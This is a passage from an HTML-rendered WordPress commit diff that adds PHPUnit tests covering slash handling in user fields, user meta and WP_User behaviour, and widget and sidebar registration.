+                       $this->assertInstanceOf( 'WP_User', $user );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsuserslashesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/user/slashes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/user/slashes.php                               (rev 0)
+++ trunk/tests/tests/user/slashes.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,210 @@
</span><ins>+<?php
+
+/**
+ * @group user
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_User_Slashes extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->author_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $this->old_current_user = get_current_user_id();
+               wp_set_current_user( $this->author_id );
+
+               // it is important to test with both even and odd numbered slashes as
+               // kses does a strip-then-add slashes in some of it's function calls
+               $this->slash_1 = 'String with 1 slash \\';
+               $this->slash_2 = 'String with 2 slashes \\\\';
+               $this->slash_3 = 'String with 3 slashes \\\\\\';
+               $this->slash_4 = 'String with 4 slashes \\\\\\\\';
+               $this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+               $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+               $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+       }
+
+       function tearDown() {
+               wp_set_current_user( $this->old_current_user );
+               parent::tearDown();
+       }
+
+       /**
+        * Tests the controller function that expects slashed data
+        *
+        */
+       function test_add_user() {
+               $_POST = $_GET = $_REQUEST = array();
+               $_POST['user_login'] = 'slash_example_user_1';
+               $_POST['pass1'] = 'password';
+               $_POST['pass2'] = 'password';
+               $_POST['role'] = 'subscriber';
+               $_POST['email'] = 'user1@example.com';
+               $_POST['first_name'] = $this->slash_1;
+               $_POST['last_name'] = $this->slash_3;
+               $_POST['nickname'] = $this->slash_5;
+               $_POST['display_name'] = $this->slash_7;
+               $_POST['description'] = $this->slash_3;
+               $_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+               $id = add_user();
+               $user = get_user_to_edit( $id );
+
+               $this->assertEquals( $this->slash_1, $user->first_name );
+               $this->assertEquals( $this->slash_3, $user->last_name );
+               $this->assertEquals( $this->slash_5, $user->nickname );
+               $this->assertEquals( $this->slash_7, $user->display_name );
+               $this->assertEquals( $this->slash_3, $user->description );
+
+               $_POST = $_GET = $_REQUEST = array();
+               $_POST['user_login'] = 'slash_example_user_2';
+               $_POST['pass1'] = 'password';
+               $_POST['pass2'] = 'password';
+               $_POST['role'] = 'subscriber';
+               $_POST['email'] = 'user2@example.com';
+               $_POST['first_name'] = $this->slash_2;
+               $_POST['last_name'] = $this->slash_4;
+               $_POST['nickname'] = $this->slash_6;
+               $_POST['display_name'] = $this->slash_2;
+               $_POST['description'] = $this->slash_4;
+               $_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+               $id = add_user();
+               $user = get_user_to_edit( $id );
+
+               $this->assertEquals( $this->slash_2, $user->first_name );
+               $this->assertEquals( $this->slash_4, $user->last_name );
+               $this->assertEquals( $this->slash_6, $user->nickname );
+               $this->assertEquals( $this->slash_2, $user->display_name );
+               $this->assertEquals( $this->slash_4, $user->description );
+       }
+
+       /**
+        * Tests the controller function that expects slashed data
+        *
+        */
+       function test_edit_user() {
+               $id = $this->factory->user->create();
+
+               $_POST = $_GET = $_REQUEST = array();
+               $_POST['role'] = 'subscriber';
+               $_POST['email'] = 'user1@example.com';
+               $_POST['first_name'] = $this->slash_1;
+               $_POST['last_name'] = $this->slash_3;
+               $_POST['nickname'] = $this->slash_5;
+               $_POST['display_name'] = $this->slash_7;
+               $_POST['description'] = $this->slash_3;
+               $_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+               $id = edit_user( $id );
+               $user = get_user_to_edit( $id );
+
+               $this->assertEquals( $this->slash_1, $user->first_name );
+               $this->assertEquals( $this->slash_3, $user->last_name );
+               $this->assertEquals( $this->slash_5, $user->nickname );
+               $this->assertEquals( $this->slash_7, $user->display_name );
+               $this->assertEquals( $this->slash_3, $user->description );
+
+               $_POST = $_GET = $_REQUEST = array();
+               $_POST['role'] = 'subscriber';
+               $_POST['email'] = 'user2@example.com';
+               $_POST['first_name'] = $this->slash_2;
+               $_POST['last_name'] = $this->slash_4;
+               $_POST['nickname'] = $this->slash_6;
+               $_POST['display_name'] = $this->slash_2;
+               $_POST['description'] = $this->slash_4;
+               $_POST = add_magic_quotes( $_POST ); // the edit_post() function will strip slashes
+
+               $id = edit_user( $id );
+               $user = get_user_to_edit( $id );
+
+               $this->assertEquals( $this->slash_2, $user->first_name );
+               $this->assertEquals( $this->slash_4, $user->last_name );
+               $this->assertEquals( $this->slash_6, $user->nickname );
+               $this->assertEquals( $this->slash_2, $user->display_name );
+               $this->assertEquals( $this->slash_4, $user->description );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_insert_user() {
+               $id = wp_insert_user(array(
+                       'user_login' => 'slash_example_user_3',
+                       'role' => 'subscriber',
+                       'email' => 'user3@example.com',
+                       'first_name' => $this->slash_1,
+                       'last_name' => $this->slash_3,
+                       'nickname' => $this->slash_5,
+                       'display_name' => $this->slash_7,
+                       'description' => $this->slash_3,
+               ));
+               $user = get_user_to_edit( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), $user->first_name );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), $user->last_name );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), $user->nickname );
+               $this->assertEquals( wp_unslash( $this->slash_7 ), $user->display_name );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), $user->description );
+
+               $id = wp_insert_user(array(
+                       'user_login' => 'slash_example_user_4',
+                       'role' => 'subscriber',
+                       'email' => 'user3@example.com',
+                       'first_name' => $this->slash_2,
+                       'last_name' => $this->slash_4,
+                       'nickname' => $this->slash_6,
+                       'display_name' => $this->slash_2,
+                       'description' => $this->slash_4,
+               ));
+               $user = get_user_to_edit( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $user->first_name );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $user->last_name );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), $user->nickname );
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $user->display_name );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $user->description );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_update_user() {
+               $id = $this->factory->user->create();
+               $id = wp_update_user(array(
+                       'ID' => $id,
+                       'role' => 'subscriber',
+                       'first_name' => $this->slash_1,
+                       'last_name' => $this->slash_3,
+                       'nickname' => $this->slash_5,
+                       'display_name' => $this->slash_7,
+                       'description' => $this->slash_3,
+               ));
+               $user = get_user_to_edit( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), $user->first_name );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), $user->last_name );
+               $this->assertEquals( wp_unslash( $this->slash_5 ), $user->nickname );
+               $this->assertEquals( wp_unslash( $this->slash_7 ), $user->display_name );
+               $this->assertEquals( wp_unslash( $this->slash_3 ), $user->description );
+
+               $id = wp_update_user(array(
+                       'ID' => $id,
+                       'role' => 'subscriber',
+                       'first_name' => $this->slash_2,
+                       'last_name' => $this->slash_4,
+                       'nickname' => $this->slash_6,
+                       'display_name' => $this->slash_2,
+                       'description' => $this->slash_4,
+               ));
+               $user = get_user_to_edit( $id );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $user->first_name );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $user->last_name );
+               $this->assertEquals( wp_unslash( $this->slash_6 ), $user->nickname );
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $user->display_name );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $user->description );
+       }
+
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsuserphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/user.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/user.php                               (rev 0)
+++ trunk/tests/tests/user.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,639 @@
</span><ins>+<?php
+
+// test functions in wp-includes/user.php
+/**
+ * @group user
+ */
+class Tests_User extends WP_UnitTestCase {
+
+       protected $_deprecated_errors = array();
+
+       function setUp() {
+               parent::setUp();
+               $this->_deprecated_errors = array();
+       }
+
+       public function deprecated_handler( $function, $message, $version ) {
+               $this->_deprecated_errors[] = array(
+                       'function' => $function,
+                       'message'  => $message,
+                       'version'  => $version
+               );
+       }
+
+       public function disable_deprecated_errors( $value ) {
+               return false;
+       }
+
+       function test_get_users_of_blog() {
+               // add one of each user role
+               $nusers = array();
+               foreach ( array('administrator', 'editor', 'author', 'contributor', 'subscriber' ) as $role ) {
+                       $id = $this->factory->user->create( array( 'role' => $role ) );
+                       $nusers[ $id ] = $id;
+               }
+
+               $user_list = get_users();
+
+               // find the role of each user as returned by get_users_of_blog
+               $found = array();
+               foreach ( $user_list as $user ) {
+                       // only include the users we just created - there might be some others that existed previously
+                       if ( isset( $nusers[$user->ID] ) ) {
+                               $found[ $user->ID] = $user->ID;
+                       }
+               }
+
+               // make sure every user we created was returned
+               $this->assertEquals($nusers, $found);
+       }
+
+       // simple get/set tests for user_option functions
+       function test_user_option() {
+               $key = rand_str();
+               $val = rand_str();
+
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+               // get an option that doesn't exist
+               $this->assertFalse(get_user_option($key, $user_id));
+
+               // set and get
+               update_user_option( $user_id, $key, $val );
+               $this->assertEquals( $val, get_user_option($key, $user_id) );
+
+               // change and get again
+               $val2 = rand_str();
+               update_user_option( $user_id, $key, $val2 );
+               $this->assertEquals( $val2, get_user_option($key, $user_id) );
+
+       }
+
+       // simple tests for usermeta functions
+       function test_usermeta() {
+
+               $key = rand_str();
+               $val = rand_str();
+
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+               // get a meta key that doesn't exist
+               $this->assertEquals( '', get_user_meta($user_id, $key, true));
+
+               // set and get
+               update_user_meta( $user_id, $key, $val );
+               $this->assertEquals( $val, get_user_meta($user_id, $key, true) );
+
+               // change and get again
+               $val2 = rand_str();
+               update_user_meta( $user_id, $key, $val2 );
+               $this->assertEquals( $val2, get_user_meta($user_id, $key, true) );
+
+               // delete and get
+               delete_user_meta( $user_id, $key );
+               $this->assertEquals( '', get_user_meta($user_id, $key, true) );
+
+               // delete by key AND value
+               update_user_meta( $user_id, $key, $val );
+               // incorrect key: key still exists
+               delete_user_meta( $user_id, $key, rand_str() );
+               $this->assertEquals( $val, get_user_meta($user_id, $key, true) );
+               // correct key: deleted
+               delete_user_meta( $user_id, $key, $val );
+               $this->assertEquals( '', get_user_meta($user_id, $key, true) );
+
+       }
+
+       // test usermeta functions in array mode
+       function test_usermeta_array() {
+               // some values to set
+               $vals = array(
+                       rand_str() => 'val-'.rand_str(),
+                       rand_str() => 'val-'.rand_str(),
+                       rand_str() => 'val-'.rand_str(),
+               );
+
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+               // there is already some stuff in the array
+               $this->assertTrue(is_array(get_user_meta($user_id)));
+
+               foreach ($vals as $k=>$v)
+                       update_user_meta( $user_id, $k, $v );
+
+               // get the complete usermeta array
+               $out = get_user_meta($user_id);
+
+               // for reasons unclear, the resulting array is indexed numerically; meta keys are not included anywhere.
+               // so we'll just check to make sure our values are included somewhere.
+               foreach ($vals as $k=>$v)
+                       $this->assertTrue(isset($out[$k]) && $out[$k][0] == $v);
+
+               // delete one key and check again
+               $key_to_delete = array_pop(array_keys($vals));
+               delete_user_meta($user_id, $key_to_delete);
+               $out = get_user_meta($user_id);
+               // make sure that key is excluded from the results
+               foreach ($vals as $k=>$v) {
+                       if ($k == $key_to_delete)
+                               $this->assertFalse(isset($out[$k]));
+                       else
+                       $this->assertTrue(isset($out[$k]) && $out[$k][0] == $v);
+               }
+       }
+
+       // Test property magic functions for property get/set/isset.
+       function test_user_properties() {
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User( $user_id );
+
+               foreach ( $user->data as $key => $data ) {
+                       $this->assertEquals( $data, $user->$key );
+               }
+
+               $this->assertTrue( isset( $user->$key ) );
+               $this->assertFalse( isset( $user->fooooooooo ) );
+
+               $user->$key = 'foo';
+               $this->assertEquals( 'foo', $user->$key );
+               $this->assertEquals( 'foo', $user->data->$key );  // This will fail with WP < 3.3
+
+               foreach ( (array) $user as $key => $value ) {
+                       $this->assertEquals( $value, $user->$key );
+               }
+       }
+
+       /**
+        * Test the magic __unset method
+        *
+        * @ticket 20043
+        */
+       public function test_user_unset() {
+               // New user
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User( $user_id );
+
+               // Test custom fields
+               $user->customField = 123;
+               $this->assertEquals( $user->customField, 123 );
+               unset( $user->customField );
+               $this->assertFalse( isset( $user->customField ) );
+
+               // Test 'id' (lowercase)
+               add_action( 'deprecated_argument_run', array( $this, 'deprecated_handler' ), 10, 3 );
+               add_filter( 'deprecated_argument_trigger_error', array( $this, 'disable_deprecated_errors' ) );
+               unset( $user->id );
+               $this->assertCount( 1, $this->_deprecated_errors );
+               $this->assertEquals( 'WP_User->id', $this->_deprecated_errors[0]['function'] );
+               $this->assertEquals( '2.1', $this->_deprecated_errors[0]['version'] );
+               remove_filter( 'deprecated_argument_trigger_error', array( $this, 'disable_deprecated_errors' ) );
+               remove_action( 'deprecated_argument_run', array( $this, 'deprecated_handler' ), 10, 3);
+
+               // Test 'ID'
+               $this->assertNotEmpty( $user->ID );
+               unset( $user->ID );
+               $this->assertEmpty( $user->ID );
+       }
+
+       // Test meta property magic functions for property get/set/isset.
+       function test_user_meta_properties() {
+               global $wpdb;
+
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User( $user_id );
+
+               update_user_option( $user_id, 'foo', 'foo', true );
+
+               $this->assertTrue( isset( $user->foo ) );
+
+               $this->assertEquals( 'foo', $user->foo );
+       }
+
+       function test_id_property_back_compat() {
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User( $user_id );
+
+               add_filter( 'deprecated_argument_trigger_error', array( $this, 'disable_deprecated_errors' ) );
+               $this->assertTrue( isset( $user->id ) );
+               $this->assertEquals( $user->ID, $user->id );
+               $user->id = 1234;
+               $this->assertEquals( $user->ID, $user->id );
+               remove_filter( 'deprecated_argument_trigger_error', array( $this, 'disable_deprecated_errors' ) );
+       }
+
+       /**
+        * ticket 19265
+        */
+       function test_user_level_property_back_compat() {
+               $roles = array(
+                       'administrator' => 10,
+                       'editor' => 7,
+                       'author' => 2,
+                       'contributor' => 1,
+                       'subscriber' => 0,
+               );
+
+               foreach ( $roles as $role => $level ) {
+                       $user_id = $this->factory->user->create( array( 'role' => $role ) );
+                       $user = new WP_User( $user_id );
+
+                       $this->assertTrue( isset( $user->user_level ) );
+                       $this->assertEquals( $level, $user->user_level );
+               }
+       }
+
+       function test_construction() {
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+
+               $user = new WP_User( $user_id );
+               $this->assertInstanceOf( 'WP_User', $user );
+               $this->assertEquals( $user_id, $user->ID );
+
+               $user2 = new WP_User( 0,  $user->user_login );
+               $this->assertInstanceOf( 'WP_User', $user2 );
+               $this->assertEquals( $user_id, $user2->ID );
+               $this->assertEquals( $user->user_login, $user2->user_login );
+
+               $user3 = new WP_User();
+               $this->assertInstanceOf( 'WP_User', $user3 );
+               $this->assertEquals( 0, $user3->ID );
+               $this->assertFalse( isset( $user3->user_login ) );
+
+               $user3->init( $user->data );
+               $this->assertEquals( $user_id, $user3->ID );
+
+               $user4 = new WP_User( $user->user_login );
+               $this->assertInstanceOf( 'WP_User', $user4 );
+               $this->assertEquals( $user_id, $user4->ID );
+               $this->assertEquals( $user->user_login, $user4->user_login );
+
+               $user5 = new WP_User( null, $user->user_login );
+               $this->assertInstanceOf( 'WP_User', $user5 );
+               $this->assertEquals( $user_id, $user5->ID );
+               $this->assertEquals( $user->user_login, $user5->user_login );
+
+               $user6 = new WP_User( $user );
+               $this->assertInstanceOf( 'WP_User', $user6 );
+               $this->assertEquals( $user_id, $user6->ID );
+               $this->assertEquals( $user->user_login, $user6->user_login );
+
+               $user7 = new WP_User( $user->data );
+               $this->assertInstanceOf( 'WP_User', $user7 );
+               $this->assertEquals( $user_id, $user7->ID );
+               $this->assertEquals( $user->user_login, $user7->user_login );
+       }
+
+       function test_get() {
+               $user_id = $this->factory->user->create( array(
+                       'role' => 'author',
+                       'user_login' => 'test_wp_user_get',
+                       'user_pass' => 'password',
+                       'user_email' => 'test@test.com',
+               ) );
+
+               $user = new WP_User( $user_id );
+               $this->assertEquals( 'test_wp_user_get', $user->get( 'user_login' ) );
+               $this->assertEquals( 'test@test.com', $user->get( 'user_email' ) );
+               $this->assertEquals( 0, $user->get( 'use_ssl' ) );
+               $this->assertEquals( '', $user->get( 'field_that_does_not_exist' ) );
+
+               update_user_meta( $user_id, 'dashed-key', 'abcdefg' );
+               $this->assertEquals( 'abcdefg', $user->get( 'dashed-key' ) );
+       }
+
+       function test_has_prop() {
+               $user_id = $this->factory->user->create( array(
+                       'role' => 'author',
+                       'user_login' => 'test_wp_user_has_prop',
+                       'user_pass' => 'password',
+                       'user_email' => 'test2@test.com',
+               ) );
+
+               $user = new WP_User( $user_id );
+               $this->assertTrue( $user->has_prop( 'user_email') );
+               $this->assertTrue( $user->has_prop( 'use_ssl' ) );
+               $this->assertFalse( $user->has_prop( 'field_that_does_not_exist' ) );
+
+               update_user_meta( $user_id, 'dashed-key', 'abcdefg' );
+               $this->assertTrue( $user->has_prop( 'dashed-key' ) );
+       }
+
+       function test_update_user() {
+               $user_id = $this->factory->user->create( array(
+                       'role' => 'author',
+                       'user_login' => 'test_wp_update_user',
+                       'user_pass' => 'password',
+                       'user_email' => 'test3@test.com',
+               ) );
+               $user = new WP_User( $user_id );
+
+               update_user_meta( $user_id, 'description', 'about me' );
+               $this->assertEquals( 'about me', $user->get( 'description' ) );
+
+               $user_data = array( 'ID' => $user_id, 'display_name' => 'test user' );
+               wp_update_user( $user_data );
+
+               $user = new WP_User( $user_id );
+               $this->assertEquals( 'test user', $user->get( 'display_name' ) );
+
+               // Make sure there is no collateral damage to fields not in $user_data
+               $this->assertEquals( 'about me', $user->get( 'description' ) );
+
+               // Pass as stdClass
+               $user_data = array( 'ID' => $user_id, 'display_name' => 'a test user' );
+               wp_update_user( (object) $user_data );
+
+               $user = new WP_User( $user_id );
+               $this->assertEquals( 'a test user', $user->get( 'display_name' ) );
+
+               // Pass as WP_User
+               $user = new WP_User( $user_id );
+               $user->display_name = 'some test user';
+               wp_update_user( $user );
+
+               $user = new WP_User( $user_id );
+               $this->assertEquals( 'some test user', $user->get( 'display_name' ) );
+
+               // Test update of fields in _get_additional_user_keys()
+               $user_data = array( 'ID' => $user_id, 'use_ssl' => 1, 'show_admin_bar_front' => 1,
+                                                  'rich_editing' => 1, 'first_name' => 'first', 'last_name' => 'last',
+                                                  'nickname' => 'nick', 'comment_shortcuts' => 1, 'admin_color' => 'classic',
+                                                  'description' => 'describe' );
+               wp_update_user( $user_data );
+
+               $user = new WP_User( $user_id );
+               foreach ( $user_data as $key => $value )
+                       $this->assertEquals( $value, $user->get( $key ), $key );
+       }
+
+       /**
+        * Test that usermeta cache is cleared after user deletion.
+        *
+        * @ticket 19500
+        */
+       function test_get_blogs_of_user() {
+               // Logged out users don't have blogs.
+               $this->assertEquals( array(), get_blogs_of_user( 0 ) );
+
+               $user_id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+               $blogs = get_blogs_of_user( $user_id );
+               $this->assertEquals( array( 1 ), array_keys( $blogs ) );
+
+               // Non-existent users don't have blogs.
+               if ( is_multisite() )
+                       wpmu_delete_user( $user_id );
+               else
+                       wp_delete_user( $user_id );
+               $this->assertEquals( array(), get_blogs_of_user( $user_id ) );
+       }
+
+       /**
+        * Test that usermeta cache is cleared after user deletion.
+        *
+        * @ticket 19500
+        */
+       function test_is_user_member_of_blog() {
+               $old_current = get_current_user_id();
+
+               $user_id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+               wp_set_current_user( $user_id );
+
+               $this->assertTrue( is_user_member_of_blog() );
+               $this->assertTrue( is_user_member_of_blog( 0, 0 ) );
+               $this->assertTrue( is_user_member_of_blog( 0, get_current_blog_id() ) );
+               $this->assertTrue( is_user_member_of_blog( $user_id ) );
+               $this->assertTrue( is_user_member_of_blog( $user_id, get_current_blog_id() ) );
+
+               // Will only remove the user from the current site in multisite; this is desired
+               // and will achieve the desired effect with is_user_member_of_blog().
+               wp_delete_user( $user_id );
+
+               $this->assertFalse( is_user_member_of_blog( $user_id ) );
+               $this->assertFalse( is_user_member_of_blog( $user_id, get_current_blog_id() ) );
+
+               wp_set_current_user( $old_current );
+       }
+
+       /**
+        * ticket 19595
+        */
+       function test_global_userdata() {
+               global $userdata, $wpdb;
+
+               $user_id = $this->factory->user->create( array( 'role' => 'subscriber' ) );
+               wp_set_current_user( $user_id );
+
+               $this->assertNotEmpty( $userdata );
+               $this->assertInstanceOf( 'WP_User', $userdata );
+               $this->assertEquals( $userdata->ID, $user_id );
+               $prefix = $wpdb->get_blog_prefix();
+               $cap_key = $prefix . 'capabilities';
+               $this->assertTrue( isset( $userdata->$cap_key ) );
+       }
+
+       /**
+        * ticket 19769
+        */
+       function test_global_userdata_is_null_when_logged_out() {
+               global $userdata;
+               wp_set_current_user(0);
+               $this->assertNull( $userdata );
+       }
+
+       function test_exists() {
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User( $user_id );
+
+               $this->assertTrue( $user->exists() );
+
+               $user = new WP_User( 123456789 );
+
+               $this->assertFalse( $user->exists() );
+
+               $user = new WP_User( 0 );
+
+               $this->assertFalse( $user->exists() );
+       }
+
+       function test_global_authordata() {
+               global $authordata, $id;
+
+               $old_post_id = $id;
+
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User( $user_id );
+
+               $post = array(
+                       'post_author' => $user_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_type' => 'post'
+               );
+
+               // insert a post and make sure the ID is ok
+               $post_id = wp_insert_post( $post );
+               $this->assertTrue( is_numeric( $post_id ) );
+
+               setup_postdata( get_post( $post_id ) );
+
+               $this->assertNotEmpty( $authordata );
+               $this->assertInstanceOf( 'WP_User', $authordata );
+               $this->assertEquals( $authordata->ID, $user_id );
+
+               if ( $old_post_id )
+                       setup_postdata( get_post( $old_post_id ) );
+       }
+
+       function test_delete_user() {
+               $user_id = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user = new WP_User( $user_id );
+
+               $post = array(
+                       'post_author' => $user_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_type' => 'post',
+               );
+
+               // insert a post and make sure the ID is ok
+               $post_id = wp_insert_post($post);
+               $this->assertTrue(is_numeric($post_id));
+               $this->assertTrue($post_id > 0);
+
+               $post = get_post( $post_id );
+               $this->assertEquals( $post_id, $post->ID );
+
+               $post = array(
+                       'post_author' => $user_id,
+                       'post_status' => 'publish',
+                       'post_content' => rand_str(),
+                       'post_title' => rand_str(),
+                       'post_type' => 'nav_menu_item',
+               );
+
+               // insert a post and make sure the ID is ok
+               $nav_id = wp_insert_post($post);
+               $this->assertTrue(is_numeric($nav_id));
+               $this->assertTrue($nav_id > 0);
+
+               $post = get_post( $nav_id );
+               $this->assertEquals( $nav_id, $post->ID );
+
+               wp_delete_user( $user_id );
+               $user = new WP_User( $user_id );
+               if ( is_multisite() )
+                       $this->assertTrue( $user->exists() );
+               else
+                       $this->assertFalse( $user->exists() );
+
+               $this->assertNotNull( get_post( $post_id ) );
+               $this->assertEquals( 'trash', get_post( $post_id )->post_status );
+               // nav_menu_item is delete_with_user = false so the nav post should remain published.
+               $this->assertNotNull( get_post( $nav_id ) );
+               $this->assertEquals( 'publish', get_post( $nav_id )->post_status );
+               wp_delete_post( $nav_id, true );
+               $this->assertNull( get_post( $nav_id ) );
+               wp_delete_post( $post_id, true );
+               $this->assertNull( get_post( $post_id ) );
+       }
+
+       /**
+        * @ticket 13317
+        */
+       function test_get_userdata() {
+               $this->assertFalse( get_userdata( 0 ) );
+               $this->assertFalse( get_userdata( '0' ) );
+               $this->assertFalse( get_userdata( 'string' ) );
+               $this->assertFalse( get_userdata( array( 'array' ) ) );
+       }
+
+       function test_user_get_data_by_id() {
+               $user_id   = $this->factory->user->create();
+
+               $user = WP_User::get_data_by( 'id', $user_id );
+               $this->assertInstanceOf( 'stdClass', $user );
+               $this->assertEquals( $user_id, $user->ID );
+
+               // @ticket 23480
+               $user = WP_User::get_data_by( 'id', -1 );
+               $this->assertEquals( false, $user );
+
+               $user = WP_User::get_data_by( 'id', 0 );
+               $this->assertEquals( false, $user );
+
+               $user = WP_User::get_data_by( 'id', null );
+               $this->assertEquals( false, $user );
+
+               $user = WP_User::get_data_by( 'id', '' );
+               $this->assertEquals( false, $user );
+
+               $user = WP_User::get_data_by( 'id', false );
+               $this->assertEquals( false, $user );
+
+               $user = WP_User::get_data_by( 'id', $user->user_nicename );
+               $this->assertEquals( false, $user );
+
+               $user = WP_User::get_data_by( 'id', 99999 );
+               $this->assertEquals( false, $user );
+       }
+
+       /**
+        * @ticket 20447
+        */
+       function test_wp_delete_user_reassignment_clears_post_caches() {
+               $user_id   = $this->factory->user->create();
+               $reassign  = $this->factory->user->create();
+               $post_id   = $this->factory->post->create( array( 'post_author' => $user_id ) );
+
+               get_post( $post_id ); // Ensure this post is in the cache.
+
+               wp_delete_user( $user_id, $reassign );
+
+               $post = get_post( $post_id );
+               $this->assertEquals( $reassign, $post->post_author );
+       }
+
+       /**
+        * @ticket 21431
+        */
+       function test_count_many_users_posts() {
+               $user_id_a = $this->factory->user->create( array( 'role' => 'author' ) );
+               $user_id_b = $this->factory->user->create( array( 'role' => 'author' ) );
+               $post_id_a = $this->factory->post->create( array( 'post_author' => $user_id_a ) );
+               $post_id_b = $this->factory->post->create( array( 'post_author' => $user_id_b ) );
+               $post_id_c = $this->factory->post->create( array( 'post_author' => $user_id_b, 'post_status' => 'private' ) );
+
+               wp_set_current_user( $user_id_a );
+               $counts = count_many_users_posts( array( $user_id_a, $user_id_b), 'post', false );
+               $this->assertEquals( 1, $counts[$user_id_a] );
+               $this->assertEquals( 1, $counts[$user_id_b] );
+
+               $counts = count_many_users_posts( array( $user_id_a, $user_id_b), 'post', true );
+               $this->assertEquals( 1, $counts[$user_id_a] );
+               $this->assertEquals( 1, $counts[$user_id_b] );
+
+               wp_set_current_user( $user_id_b );
+               $counts = count_many_users_posts( array( $user_id_a, $user_id_b), 'post', false );
+               $this->assertEquals( 1, $counts[$user_id_a] );
+               $this->assertEquals( 2, $counts[$user_id_b] );
+
+               $counts = count_many_users_posts( array( $user_id_a, $user_id_b), 'post', true );
+               $this->assertEquals( 1, $counts[$user_id_a] );
+               $this->assertEquals( 1, $counts[$user_id_b] );
+       }
+
+       /**
+        * @ticket 22858
+        */
+       function test_wp_update_user_on_nonexistent_users() {
+               $user_id = 1;
+               // Find me a non-existent user ID.
+               while ( get_userdata( $user_id ) )
+                       ++$user_id;
+
+               // If this test fails, it will error out for calling the to_array() method on a non-object.
+               $this->assertInstanceOf( 'WP_Error', wp_update_user( array( 'ID' => $user_id ) ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestswidgetsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/widgets.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/widgets.php                            (rev 0)
+++ trunk/tests/tests/widgets.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,78 @@
</span><ins>+<?php
+
+/**
+ * Test widget template tags
+ *
+ * @group widgets
+ */
+class Tests_Widgets extends WP_UnitTestCase {
+
+       function test_register_widget_core_widget() {
+
+               global $wp_widget_factory;
+
+               unregister_widget( 'WP_Widget_Search' );
+               register_widget( 'WP_Widget_Search' );
+
+               $this->assertTrue( isset( $wp_widget_factory->widgets['WP_Widget_Search'] ) );
+
+       }
+
+       function test_unregister_widget_core_widget() {
+
+               global $wp_widget_factory;
+
+               unregister_widget( 'WP_Widget_Search' );
+
+               $this->assertFalse( isset( $wp_widget_factory->widgets['WP_Widget_Search'] ) );
+
+       }
+
+       function test_register_sidebars_single() {
+
+               global $wp_registered_sidebars;
+
+               register_sidebars( 1, array( 'id' => 'wp-unit-test' ) );
+
+               $this->assertTrue( isset( $wp_registered_sidebars['wp-unit-test'] ) );
+
+       }
+
+       function test_register_sidebars_multiple() {
+
+               global $wp_registered_sidebars;
+
+               $num = 3;
+               $id_base = 'WP Unit Test';
+               register_sidebars( $num, array( 'name' => $id_base . ' %d' ) );
+
+               $names = wp_list_pluck( $wp_registered_sidebars, 'name' );
+               for ( $i = 1; $i <= $num; $i++ ) {
+                       if ( in_array( "$id_base $i", $names ) )
+                               $result[] = true;
+               }
+
+               $this->assertEquals( $num, count( $result ) );
+
+       }
+
+       function test_register_sidebar() {
+
+               global $wp_registered_sidebars;
+
+               register_sidebar( array( 'id' => 'wp-unit-test' ) );
+
+               $this->assertTrue( isset( $wp_registered_sidebars['wp-unit-test'] ) );
+
+       }
+
+       function test_unregister_sidebar() {
+
+               global $wp_registered_sidebars;
+
+               unregister_sidebar( 'sidebar-1' );
+
